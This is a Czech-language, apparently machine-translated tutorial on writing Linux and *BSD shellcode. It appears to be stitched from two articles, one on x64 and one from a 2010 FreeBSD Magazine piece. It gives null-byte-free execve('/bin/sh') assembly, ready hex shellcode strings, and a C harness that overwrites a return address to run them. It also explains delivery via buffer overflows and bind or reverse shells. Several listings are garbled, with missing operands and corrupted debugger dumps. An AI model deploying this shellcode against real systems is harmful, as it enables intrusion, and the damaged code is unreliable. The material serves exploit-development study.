Pojďme zjistit, zda je v počítači kód shellu. Virus pro Linux. Naučte se psát shell kódy. Žádné prázdné bajty

IoT je skutečným trendem poslední doby. Používá linuxové jádro téměř všude. Existuje však relativně málo článků o psaní virů a kódování shellu pro tuto platformu. Myslíte si, že psaní shell kódu pro Linux je jen pro elitu? Pojďme zjistit, jak napsat virus pro Linux!

ZÁKLAD PRO PSANÍ VIRU PRO LINUX

Co potřebujete k práci?

Ke kompilaci shell kódu potřebujeme kompilátor a linker. Budeme používat nasm A ld. Pro otestování shell kódu napíšeme malý program v C. K jeho kompilaci budeme potřebovat gcc. Pro některé kontroly budete potřebovat rasm2(část rámce radare2). K psaní pomocných funkcí použijeme Python.

Co je nového v x64?

x64 je rozšíření architektury IA-32. Jeho hlavním rozlišovacím znakem je podpora 64bitových obecných registrů, 64bitových aritmetických a logických operací s celými čísly a 64bitových virtuálních adres.

Přesněji řečeno, všechny 32bitové registry pro všeobecné použití jsou zachovány a jsou přidány jejich rozšířené verze ( rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp) a několik nových obecných registrů ( r8, r9, r10, r11, r12, r13, r14, r15).

Objeví se nová konvence volání (na rozdíl od architektury x86 je pouze jedna). Podle ní se při volání funkce každý registr používá pro specifické účely, a to:

  • první čtyři celočíselné argumenty funkce jsou předány přes registry rcx, rdx, r8 A r9 a prostřednictvím registrů xmm0 - xmm3 pro typy s plovoucí desetinnou čárkou;
  • ostatní parametry jsou předávány přes zásobník;
  • Pro parametry procházející registry je stále vyhrazeno místo na zásobníku;
  • výsledek funkce je vrácen prostřednictvím registru rax pro celočíselné typy nebo přes registr xmm0 pro typy s plovoucí desetinnou čárkou;
  • rbp obsahuje ukazatel na základ zásobníku, tedy místo (adresu), kde zásobník začíná;
  • rsp obsahuje ukazatel na vrchol zásobníku, tedy na místo (adresu), kam bude umístěna nová hodnota;
  • rsi, rdi použitý v systémové volání.

Něco málo o zásobníku: protože adresy jsou nyní 64bitové, hodnoty v zásobníku mohou mít velikost 8 bajtů.

Syscall. Co? Jak? za co?

Syscall je způsob interakce uživatelského režimu s jádrem v Linuxu. Používá se pro různé úkoly: I/O operace, zápis a čtení souborů, otevírání a zavírání programů, práce s pamětí a sítí a tak dále. Aby bylo možné dokončit systémové volání, nutné:

Načtěte odpovídající číslo funkce do registru rax;
načíst vstupní parametry do jiných registrů;
číslo přerušení hovoru 0x80(od verze jádra 2.6 se to provádí pomocí volání systémové volání).

Na rozdíl od Windows, kde je potřeba ještě najít adresu požadované funkce, je zde vše vcelku jednoduché a stručné.

Čísla požadovaných funkcí syscall lze nalézt např.

execve()

Pokud se podíváme na hotové shellkódy, mnoho z nich funkci využívá execve().

execve() má následující prototyp:

Volá program FILENAME. Naprogramovat FILENAME může být buď spustitelný binární soubor, nebo skript, který začíná řádkem #! tlumočník.

argv je ukazatel na pole, ve skutečnosti je to totéž argv, který vidíme například v C nebo Pythonu.

envp- ukazatel na pole popisující prostředí. V našem případě se nepoužívá, bude to vadit null.

Základní požadavky na shell kód

Existuje něco jako kód nezávislý na pozici. Toto je kód, který bude spuštěn bez ohledu na to, kde je načten. Aby mohl být náš shell kód spuštěn kdekoli v programu, musí být nezávislý na pozici.

Nejčastěji je shell kód načten funkcemi jako strcpy(). Podobné funkce používají bajty 0x00, 0x0A, 0x0D jako oddělovače (v závislosti na platformě a funkci). Proto je lepší takové hodnoty nepoužívat. V opačném případě funkce nemusí zcela zkopírovat shell kód. Zvažte následující příklad:

$ rasm2 -a x86 -b 64 "push 0x00" 6a00

$rasm2 - a x86 - b 64 "push 0x00"

6a00

Jak vidíte, kód stisknout 0x00 zkompiluje do následujících bajtů 6a 00. Pokud bychom použili kód takto, náš shell kód by nefungoval. Funkce by zkopírovala vše až do bajtu s hodnotou 0x00.

V shellkódu nemůžete použít „pevně zakódované“ adresy, protože tyto stejné adresy předem neznáme. Z tohoto důvodu jsou všechny řetězce v kódu shellu získávány dynamicky a ukládány do zásobníku.

Zdá se, že to je vše.

UDĚLEJTE TO!

Pokud jste dočetli až sem, měli byste již mít obrázek o tom, jak bude náš shell kód fungovat.

Prvním krokem je připravit parametry pro funkci execve() a poté je správně umístit do zásobníku. Funkce bude vypadat takto:

Druhým parametrem je pole argv. První prvek tohoto pole obsahuje cestu ke spustitelnému souboru.

Třetí parametr představuje informace o prostředí, nepotřebujeme je, takže bude mít hodnotu null.

Nejprve dostaneme nulový bajt. Nemůžeme použít strukturu jako mov eax, 0x00, protože to zavede do kódu nulové bajty, takže použijeme následující instrukci:

xor rdx, rdx

Necháme tuto hodnotu v registru rdx- bude také potřeba jako znak konce řádku a hodnota třetího parametru (který bude null).

Vzhledem k tomu, zásobník roste z vysokých na nízké adresy, a funkce execve() přečte vstupní parametry od nízkého po vysoké (to znamená, že zásobník pracuje s pamětí v opačném pořadí), poté na zásobník vložíme převrácené hodnoty.

Chcete-li obrátit řetězec a převést jej na hex, můžete v Pythonu použít následující funkci:


Zavolejte tuto funkci pro /bin/sh: >>> rev.rev_str("/bin/sh")

"68732f6e69622f"

Obdrželi jsme nulový bajt (druhý bajt od konce), který naruší náš shell kód. Abychom tomu zabránili, využijme toho, že Linux ignoruje sekvenční lomítka (tj. /bin/sh A /bin//sh- to je to samé).

>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"

Žádné prázdné bajty!

Poté se na webu podíváme na informace o funkci execve(). Podíváme se na číslo funkce, které vložíme do rax - 59. Podíváme se, které registry se používají:
rdi- ukládá adresu řetězce FILENAME;
rsi- ukládá adresu řetězce argv;
rdx- ukládá adresu řetězce envp.

Nyní dáme vše dohromady.
Na hromádku vložíme znak konce řádku (nezapomeňte, že vše se děje v opačném pořadí):

xor rdx, rdx push rdx

xor rdx, rdx

push rdx

Vložte provázek na hromádku /bin//sh: mov rax, 0x68732f2f6e69622f
tlačit rax

Získání adresy linky /bin//sh na stoh a okamžitě jej zatlačte rdi: mov rdi, rsp

V rsi musíte umístit ukazatel na pole řetězců. V našem případě bude toto pole obsahovat pouze cestu ke spustitelnému souboru, takže tam stačí dát adresu, která odkazuje na paměť, kde se adresa řádku nachází (v C ukazatel na ukazatel). Adresu linky už máme, je v registru rdi. Pole argv musí končit nulovým bajtem, který máme v registru rdx:

push rdx push rdi mov rsi, rsp

push rdx

tlačit rdi

mov rsi, rsp

Teď rsi ukazuje na adresu v zásobníku obsahujícím ukazatel na řetězec /bin//sh.

Vložili jsme to raxčíslo funkce execve(): xor rax, rax
mov al, 0x3b

V důsledku toho jsme dostali následující soubor:


Kompilace a odkaz pro x64. Postup:

$ nasm -f elf64 example.asm $ ld -m elf_x86_64 -s -o example example.o

$ nasm - f elf64 příklad .asm

$ ld - m elf_x86_64 - s - o příklad příklad .o

Nyní můžeme použít objdump -d příklad pro zobrazení výsledného souboru.

Shellcode je část kódu zabudovaná do škodlivého programu, který umožňuje po infikování cílového systému oběti získat kód příkazového shellu, například /bin/bash v operačních systémech podobných UNIX, command.com v systému MS-DOS s černou obrazovkou a cmd .exe v moderních operačních systémech Microsoft Windows. Shellcode se velmi často používá jako užitečná zátěž.

Shellcode

Proč je to nutné?

Jak víte, nestačí jednoduše infikovat systém, zneužít zranitelnost nebo zakázat nějakou systémovou službu. Všechny tyto akce jsou v mnoha případech zaměřeny na získání přístupu správce k infikovanému počítači.

Malware je tedy jen způsob, jak se dostat na stroj a získat shell, tedy kontrolu. A to je přímá cesta k úniku důvěrných informací, vytváření sítí botnetů, které mění cílový systém na zombie, nebo prostě k provádění jiných destruktivních funkcí na hacknutém stroji.

Shellcode se obvykle vkládá do paměti hostitelského programu, načež je do něj přenesena kontrola využitím chyb, jako je přetečení zásobníku nebo přetečení vyrovnávací paměti založené na haldě, nebo pomocí útoků formátovacích řetězců.

Řízení je přeneseno do shell kódu přepsáním návratové adresy na zásobníku adresou vloženého shell kódu, přepsáním adres volaných funkcí nebo změnou obsluhy přerušení. Výsledkem toho všeho bude spuštění shell kódu, který otevře příkazový řádek pro použití útočníkem.

Při zneužití vzdálené zranitelnosti (tj. exploitu) může shell kód otevřít předdefinovaný port TCP na zranitelném počítači pro další vzdálený přístup k příkazovému shellu. Tento kód se nazývá shell kód pro vazbu portu.

Pokud je shell kód připojen k portu počítače útočníka (za účelem obejití nebo úniku přes NAT), pak se takový kód nazývá reverzní shell kód.

Způsoby, jak spustit shell kód do paměti

Existují dva způsoby, jak spustit shell kód do paměti pro spuštění:

  • Metoda kódu nezávislého na pozici (PIC) je kód, který používá pevnou vazbu binárního kódu (tj. kódu, který bude spuštěn v paměti) na konkrétní adresu nebo data. Shellcode je v podstatě PIC. Proč je těsné vázání tak důležité? Shell nemůže vědět, kde přesně bude RAM umístěna, protože během spouštění různých verzí kompromitovaného programu nebo malwaru mohou načíst shell kód do různých paměťových buněk.
  • Metoda Identifying Execution Location vyžaduje, aby shell kód dereferencoval základní ukazatel při přístupu k datům ve struktuře paměti nezávislé na pozici. Přidání (ADD) nebo odečtení (Reduce) hodnot od základního ukazatele vám umožní bezpečný přístup k datům obsaženým v kódu shellu.

FreeBSD Magazine, 09.2010

Shell kód je posloupnost strojových příkazů, které lze použít k tomu, aby již běžící program udělal něco alternativního. Pomocí této metody můžete zneužít některé zranitelnosti softwaru (například přetečení zásobníku, přetečení haldy, chyby zabezpečení formátovacího řetězce).

Příklad toho, jak by mohl vypadat kód shellu:

char shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d \x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68";

To znamená, že obecně se jedná o sekvenci bajtů ve strojovém jazyce. Účelem tohoto dokumentu je přezkoumat nejběžnější techniky pro vývoj shell kódu pro systémy Linux a *BSD běžící na architektuře x86.

Procházením webu můžete snadno najít hotové příklady shell kódu, které stačí zkopírovat a umístit na správné místo. Proč studovat jeho vývoj? Podle mého názoru existuje alespoň několik dobrých důvodů:

Za prvé, naučit se vnitřnosti něčeho je téměř vždy dobrý nápad, než to použijete, pomůže to předejít nepříjemným překvapením (o tomto problému se bude diskutovat později na http://www.kernel-panic.it/security/shellcode/shellcode6 .html v podrobnosti);

Za druhé, mějte na paměti, že kód shellu může běžet ve zcela odlišných prostředích, jako jsou vstupně-výstupní filtry, oblasti manipulace s řetězci, IDS, a je užitečné si představit, jak je třeba jej upravit, aby vyhovoval podmínkám;

Koncepty zneužívání zranitelností vám navíc pomohou psát bezpečnější programy.

Dále nebude na škodu znát assembler pro architekturu IA-32, protože se dotkneme témat jako využití registrů, adresování paměti a další podobná témata. V každém případě je na konci článku řada materiálů užitečných pro naučení nebo osvěžení paměti základních informací o programování assembleru. Vyžaduje se také základní znalost Linuxu a *BSD.

Systémová volání Linuxu
Přestože shell kód může v zásadě dělat cokoliv, hlavním účelem jeho spuštění je získat přístup k interpretru příkazů (shell) na cílovém počítači, nejlépe v privilegovaném režimu, odkud pochází název shell kód.
Nejjednodušším a nejpřímějším způsobem provedení složitého úkolu v jazyce symbolických instrukcí je použití systémových volání. Systémová volání poskytují rozhraní mezi uživatelským prostorem a prostorem jádra; jinými slovy, je to způsob, jakým uživatelský program přijímá služby ze služeb jádra. Například je spravován souborový systém, spouštěny nové procesy, zajištěn přístup k zařízením a podobně.
Jak je uvedeno ve výpisu 1, systémová volání jsou definována v souboru /usr/src/linux/include/asmi386/unistd.h, každé s číslem.
Existují dva standardní způsoby použití systémových volání:

Povolit softwarové přerušení 0x80;
- volání funkce wrapper z knihovny libc.

První metoda je přenosnější, protože ji lze použít pro jakoukoli distribuci Linuxu (určeno kódem jádra). Druhá metoda je méně přenosná, protože je definována standardním kódem knihovny.

int 0x80
Podívejme se blíže na první metodu. Když procesor přijme přerušení 0x80, vstoupí do režimu jádra a provede požadovanou funkci, čímž získá požadovanou obsluhu z tabulky deskriptorů přerušení. Číslo systémového volání musí být definováno v EAX, které bude nakonec obsahovat návratovou hodnotu. V EBX, ECX, EDX, ESI, EDI a EBP musí být zase argumenty funkcí, v počtu až šest, obsaženy v tomto pořadí a pouze v požadovaném počtu registrů a ne ve všech. Pokud funkce vyžaduje více než šest argumentů, musíte je vložit do struktury a uložit ukazatel na první prvek v EBX.

Je třeba si uvědomit, že linuxová jádra starší než 2.4 nepoužívají registr EBP k předávání argumentů, a proto mohou prostřednictvím registrů předat pouze pět argumentů.

Po uložení čísla systémového volání a parametrů do příslušných registrů se zavolá přerušení 0x80: procesor přejde do režimu jádra, provede systémové volání a předá řízení uživatelskému procesu. K reprodukci tohoto scénáře potřebujete:

Vytvořte strukturu v paměti obsahující parametry systémového volání;
- uložit ukazatel na první argument v EBX;
- provést softwarové přerušení 0x80.

Nejjednodušší příklad bude obsahovat klasiku - systémové volání exit(2). Ze souboru /usr/src/linux/include/asm-i386/unistd.h zjistíme jeho číslo: 1. Manuálová stránka nám řekne, že existuje pouze jeden povinný argument (stav), jak ukazuje Výpis 2.

Uložíme do registru EBX. Proto jsou nutné následující pokyny:

exit.asm mov eax, 1 ; Číslo _exit(2) syscall mov ebx, 0 ; stav int 0x80 ; Přerušení 0x80

libc
Jak bylo uvedeno, další standardní metodou je použití funkce C Podívejme se, jak se to provádí pomocí jednoduchého programu C jako příklad:

exit.c main () ( exit(0); )

Stačí si to zkompilovat:

$ gcc -o exit exit.c

Pojďme to rozebrat pomocí gdb, abychom se ujistili, že používá stejné systémové volání (výpis 3).

Výpis 3. Demontáž ukončovacího programu pomocí ladicího programu gdb$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB je svobodný software, na který se vztahuje obecná veřejná licence GNU, a za určitých podmínek jej můžete měnit a/nebo distribuovat jeho kopie. Chcete-li zobrazit podmínky, zadejte „zobrazit kopírování“. Na GDB není absolutně žádná záruka. Podrobnosti zobrazíte zadáním „zobrazit záruku“. Tato GDB byla nakonfigurována jako "i386-linux"...Pomocí hostitelské knihovny libthread_db "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804836a (gdb) run Starting program: /ramdisk/var/tmp/exit Breakpoint 1, 0x0804836a in main () (gdb) disas main Výpis kódu assembleru pro funkci main: 0x08048364: push %ebp 0x08048365: mov %esp,%ebp 0x08048367: sub $0x8,%esp 0x0804836a: a $0xffffff0,%esp 0x0804836d: mov $0x0,%eax 803x0804 sub8072:0804 mov l $ 0x0, (%esp ) 0x0804837b: volání 0x8048284 Konec výpisu assembleru. (gdb)

Poslední funkcí v main() je volání exit(3). Dále vidíme, že exit(3) zase volá _exit(2), které volá systémové volání, včetně přerušení 0x80, výpis 4.

Výpis 4. Provedení systémového volání(gdb) disas exit Výpis kódu assembleru pro ukončení funkce: [...] 0x40052aed: mov 0x8(%ebp),%eax 0x40052af0: mov %eax,(%esp) 0x40052af3: volání 0x400ced9c<_exit>[...] Konec výpisu v assembleru. (gdb) disas _exit Výpis kódu assembleru pro funkci _exit: 0x400ced9c<_exit+0> <_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $ 0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $ 0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>

Shellcode používající libc tedy nepřímo volá systémové volání _exit(2):

push dword 0; stavové volání 0x8048284 ; Zavolejte funkci libc exit() ;(adresa získaná z výše uvedeného rozebrání) add esp, 4 ; Vyčistěte stoh

Systémová volání *BSD
V rodině *BSD vypadají systémová volání mírně odlišně, nepřímá volání (pomocí adres funkcí libc) nemají žádný rozdíl.
Čísla systémových volání jsou uvedena v souboru /usr/src/sys/kern/syscalls.master, tento soubor také obsahuje prototypy funkcí. Výpis 5 ukazuje začátek souboru v OpenBSD:

První řádek obsahuje číslo systémového volání, druhý - jeho typ, třetí - prototyp funkce. Na rozdíl od Linuxu systémová volání *BSD nepoužívají konvenci rychlého volání vkládání argumentů do registrů, ale místo toho používají vkládání argumentů do zásobníku ve stylu C. Argumenty jsou umístěny v obráceném pořadí, počínaje tím úplně vpravo, takže budou načteny ve správném pořadí. Ihned po návratu ze systémového volání je třeba zásobník vymazat umístěním počtu bajtů, který se rovná délce všech argumentů, do ukazatele posunu zásobníku (nebo jednodušeji přidáním bajtů rovných počtu argumentů vynásobených 4) . Role registru EAX je stejná jako v Linuxu, obsahuje číslo systémového volání a nakonec obsahuje návratovou hodnotu.

K provedení systémového volání jsou tedy nutné čtyři kroky:

Uložení telefonního čísla do EAX;
- umístění argumentů v opačném pořadí na zásobníku;
- provedení softwarového přerušení 0x80;
- čištění stohu.

Příklad Linuxu převedený na *BSD by vypadal takto:

exit_BSD.asm mov eax, 1 ; Syscall číslo push dword 0 ; rval push eax ; Push ještě jedno dword (viz níže) int 0x80 ; 0x80 přerušení přidat esp, 8 ; Vyčistěte stoh

Psaní kódu shellu
Následující příklady navržené pro Linux lze snadno přizpůsobit světu *BSD. Abychom získali hotový kód shellu, potřebujeme pouze získat operační kódy odpovídající montážním pokynům. K získání operačních kódů se běžně používají tři metody:

Jejich ruční zápis (s dokumentací Intel v ruce!);
- zápis kódu sestavení a následné extrahování operačního kódu;
- zápis kódu v C a jeho následné rozebrání.

Podívejme se nyní na zbývající dvě metody.

V assembleru
Prvním krokem je použití kódu sestavení z příkladu exit.asm pomocí systémového volání _exit(2). K získání operačních kódů použijeme nasm a poté sestavený binární soubor rozebereme pomocí objdump, jak je znázorněno ve výpisu 6.

Druhý sloupec obsahuje strojové kódy, které potřebujeme. Můžeme tedy napsat náš první shell kód a otestovat jej pomocí jednoduchého programu C převzatého z http://www.phrack.org/

Výpis 7. Testování operačního kódu sc_exit.c char shellcode = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main() ( int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; )

Navzdory popularitě tohoto přístupu se kód C pro ověřovací program nemusí zdát dostatečně jasný. Jednoduše však přepíše adresu funkce main() adresou shell kódu pro účely provádění instrukcí shellcode v main(). Po první instrukci se zásobník vyvíjí následovně:

Návratová adresa (umístěná instrukcí CALL), která má být umístěna v EIP při výstupu;
- uložený EBP (bude obnoven při ukončení funkce);
- ret (první lokální proměnná ve funkci main())

Druhá instrukce zvýší adresu proměnné ret o osm bajtů (dvě dwords), aby získala adresu návratové adresy, tedy ukazatel na první instrukci, která bude provedena v main(). Nakonec třetí instrukce přepíše adresu adresou shellkódu. V tomto okamžiku program ukončí main(), obnoví EBP, uloží adresu shell kódu do EIP a provede jej. Chcete-li zobrazit všechny tyto operace, musíte zkompilovat a spustit sc_exit.c:

$ gcc -o sc_exit sc_exit.c $ ./sc_exit $

Doufám, že se ti ústa otevřela dost dokořán. Chcete-li zajistit, aby byl kód shellu spuštěn, stačí spustit aplikaci pod strace, výpis 8.

Výpis 8. Trasování testovací aplikace$ strace ./sc_exit execve("./sc_exit", [./sc_exit"], ) = 0 uname((sys="Linux", node="Knoppix", ...)) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 přístup("/etc/ld.so.nohwcap", F_OK) = Žádný takový soubor nebo adresář ENOENT (žádný otevřený soubor nebo adresář ENOENT ("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (Žádný takový soubor nebo adresář) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, (st_mode=S_IFREG |0644, st_size=60420, ...)) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK ) = -1 ENOENT (Žádný takový soubor nebo adresář) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0 \0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, (st_mode=S_IFREG|0644 , st_size=1243792, ...)) = 0 old_mmap(NULL, 1253956, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40027000 old_mmap(0x4014f000, 32_APD6_PRATE| IXED , 3, 0x127000) = 0x4014f000 old_mmap(0x40157000, 8772, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAPA_PIXED|MAPA_ANONYMOUS, -1, 0) = 0x40157000 close(3) = 0 munmap(0x40018002 =,ex) $

Poslední řádek je volání _exit(2). Při pohledu na kód shellu však vidíme malý problém: obsahuje mnoho prázdných bajtů. Vzhledem k tomu, že kód shellu je často zapsán do vyrovnávací paměti řetězců, tyto bajty skončí v oddělovači řádků a útok selže. Problém lze vyřešit dvěma způsoby:

Napište instrukce, které neobsahují nula bajtů (a to není vždy možné);
- napište kód shellu, abyste jej upravili ručně, odstraněním nulových bajtů, takže za běhu kód sám přidá nulové bajty a zarovná řetězec k oddělovači.

Podívejme se na první metodu.
První instrukce (mov ebx, 0) může být upravena tak, aby byla běžnější (z důvodů výkonu):

xor ebx, ebx

Druhá instrukce obsahuje všechny tyto nuly, protože je použit 32bitový registr (EAX), což vytváří 0x01s, které se stanou 0x01000000 (kousky jsou v opačném pořadí, protože Intel® je procesor little endian). Takže tento problém můžeme vyřešit jednoduše pomocí osmibitového registru (AL):

mov al, 1

Nyní náš kód sestavení vypadá takto:

xor ebx, ebx mov al, 1 int 0x80

a žádné prázdné bajty (výpis 9).

Výpis 9. Kontrola shell kódu$ nasm -f exit2.asm $ objdump -d exit2.o exit2.o: formát souboru elf32-i386 Demontáž sekce .text: 00000000<.text>: 0: 31 db xor %ebx,%ebx 2: b0 01 mov $0x1,%al 4: cd 80 int $0x80 $
Výpis 10. Binární soubor Exit.c otevřen pomocí gdb$ gdb ./exit GNU gdb 6.1-debian Copyright 2004 Free Software Foundation, Inc. GDB je svobodný software, na který se vztahuje obecná veřejná licence GNU, a za určitých podmínek jej můžete měnit a/nebo distribuovat jeho kopie. Chcete-li zobrazit podmínky, zadejte „zobrazit kopírování“. Na GDB není absolutně žádná záruka. Podrobnosti zobrazíte zadáním „zobrazit záruku“. Tato GDB byla nakonfigurována jako "i386-linux"...Pomocí hostitelské knihovny libthread_db "/lib/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804836a (gdb) run Starting program: /ramdisk/var/tmp/exit Breakpoint 1, 0x0804836a in main () (gdb) disas _exit Výpis kódu assembleru pro funkci _exit: 0x400ced9c<_exit+0>: mov 0x4(%esp),%ebx 0x400ceda0<_exit+4>: mov $0xfc,%eax 0x400ceda5<_exit+9>: int $ 0x80 0x400ceda7<_exit+11>: mov $0x1,%eax 0x400cedac<_exit+16>: int $ 0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>: nop Konec výpisu assembleru. (gdb)

Jak vidíte, funkce _exit(2) ve skutečnosti používá dvě systémová volání: 0xfc (252), _exit_group(2) a poté _exit(2). _exit_group(2) je podobný _exit(2), ale jeho účelem je ukončit všechna vlákna ve skupině. Náš kód skutečně potřebuje pouze druhé systémové volání.

Pojďme extrahovat operační kódy:

(gdb) x/4bx _exit 0x400ced9c<_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _exit+11 0x400ceda7<_exit+11>: 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)

Stejně jako v předchozím příkladu budete muset překonat nulu bajtů.

Získání konzole
Je čas napsat kód shellu, který vám umožní dělat něco užitečnějšího. Mohli bychom například vytvořit kód pro přístup ke konzole a nechat ji po vytvoření konzole čistě opustit. Nejjednodušším přístupem je použití systémového volání execve(2). Nezapomeňte se podívat na manuálovou stránku, výpis 11.

Výpis 11. muž 2 exekv EXECVE(2) Linux Programmer's Manual EXECVE(2) NAME execve – spusťte program SYNOPSE #include int execve(const char *název souboru, char *const argv , char *const envp POPIS execve() spustí program, na který ukazuje název souboru. název_souboru musí být buď binární spustitelný soubor, nebo skript začínající řádkem ve tvaru "#! interpreter ". V druhém případě musí být interpretem platná cesta ke spustitelnému souboru, který sám o sobě není skriptem, který bude vyvolán jako název souboru interpretru. argv je pole řetězců argumentů předávaných novému programu. envp je pole řetězců, obvykle ve formě prostředí k novému programu Jak argv, tak envp musí být ukončeny nulovým ukazatelem. K vektoru argumentu a prostředí lze přistupovat pomocí hlavní funkce volaného programu, pokud jsou definovány jako int main(int argc, char *argv, char *envp). [...]

Musíme předat tři argumenty:

Ukazatel na název programu, který se má provést, v našem případě ukazatel na řádek /bin/sh;
- ukazatel na pole řetězců předávaných jako argumenty programu, první argument musí být argv, tj. název samotného programu, poslední argument musí být nulový ukazatel;
- ukazatel na pole řetězců pro jejich předání jako prostředí programu; Tyto řetězce jsou obvykle uvedeny ve formátu klíč=hodnota a posledním prvkem pole musí být nulový ukazatel. V C to vypadá asi takto:

Pojďme to dát dohromady a uvidíme, jak to funguje:

No, dobře, máme skořápku. Nyní se podívejme, jak toto systémové volání vypadá v assembleru (protože jsme použili tři argumenty, můžeme místo struktury použít registry). Okamžitě se objeví dva problémy:

První problém je známý: v kódu shellu nemůžeme ponechat prázdné bajty, ale v tomto případě je argumentem řetězec (/bin/sh), který je zakončený prázdným bytem. A mezi argumenty execve(2) musíme předat dva nulové ukazatele!
- druhý problém je najít adresu linky. Absolutní adresování paměti je obtížné a také způsobí, že kód shellu bude prakticky nepřenosný.

Abychom vyřešili první problém, vytvoříme náš shell kód schopný vkládat nulové bajty na správná místa za běhu. K vyřešení druhého problému použijeme relativní adresování. Klasickou metodou, jak získat adresu shellkódu, je začít příkazem CALL. Ve skutečnosti první věcí, kterou CALL udělá, je přesunutí adresy dalšího bajtu do zásobníku, aby mohla být vložena (pomocí instrukce RET) do EIP poté, co se volaná funkce vrátí. Provedení se poté přesune na adresu určenou parametrem instrukce CALL. Tímto způsobem získáme ukazatel na náš řetězec: adresa prvního bajtu po CALL je poslední hodnotou v zásobníku a můžeme ji snadno získat pomocí POP. Takže obecný plán shellkódu by byl něco takového:

Výpis 12. jmp short mycall ; Okamžitě přejděte na shell kód instrukce volání: pop esi ; Uložte adresu "/bin/sh" v ESI [...] mycall: call shellcode ; Vloží adresu dalšího bajtu do zásobníku: další db "/bin/sh" ; byte je začátek řetězce "/bin/sh"

Podívejme se, co to dělá:

Nejprve shell kód skočí na instrukci CALL;
- CALL vloží adresu řádku /bin/sh do zásobníku, ještě neukončeného nulovým bajtem; direktiva db jednoduše inicializuje sekvenci bajtů; pak provádění skočí znovu na začátek kódu shellu;
- adresa řetězce je poté vybrána ze zásobníku a uložena do ESI. Nyní můžeme přistupovat k adrese paměti pomocí řetězcové adresy.

Od této chvíle můžete používat strukturu shellkódu naplněnou něčím užitečným. Pojďme analyzovat naše plánované akce krok za krokem:

Podlož EAX s nulami, aby byly k dispozici pro naše účely;
- řádek ukončíme nulovým bytem zkopírovaným z EAX (použijeme registr AL);
- položme si otázku, že ECX bude obsahovat pole argumentů skládající se z adresy řetězce a nulového ukazatele; tento úkol bude proveden zápisem adresy obsažené v ESI do prvních tří bajtů a poté nulového ukazatele (nuly opět převzaty z EAX);
- uložit číslo systémového volání do (0x0b) EAX;
- uložit první argument do execve(2) (tj. adresu řádku uloženou v ESI) v EBX;
- uložit adresu pole v ECX (ESI + 8);
- uložit adresu nulového ukazatele v EDX (ESI+12);
- provést přerušení 0x80.

Výsledný kód sestavy je uveden ve výpisu 13.

Výpis 13. Přepracovaný kód sestavy get_shell.asm jmp short mycall ; Okamžitě přejděte na shell kód instrukce volání: pop esi ; Uložte adresu "/bin/sh" v ESI xor eax, eax ; Vynulovat EAX mov byte, al; Napište nulový bajt na konec řetězce mov dword, esi; , tj. paměť bezprostředně pod řetězcem; "/bin/sh", bude obsahovat pole, na které ukazuje ; druhý argument execve(2); proto ukládáme do;

adresa řetězce... mov dword , eax ; ...a v ukazateli NULL (EAX je 0) mov al, 0xb ; Uložte číslo syscall (11) do EAX lea ebx, ; Zkopírujte adresu řetězce do EBX lea ecx, ; Druhý argument pro execve(2) lea edx, ; Třetí argument pro execve(2) (ukazatel NULL) int 0x80 ; Proveďte systémové volání mycall: call shellcode ; Vložte adresu "/bin/sh" do zásobníku db "/bin/sh"

Pojďme extrahovat operační kódy, výpis 14:

$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ exit $
Důvěra je dobrá...

statický znak shellcode= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89" "\xf3\x8d\x4e\x08\ x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\ x62\x69\x6e" "\x2f\x73\x68\x58";

Pojďme to rozebrat pomocí ndisasmu, dostaneme něco známého? Výpis 16.

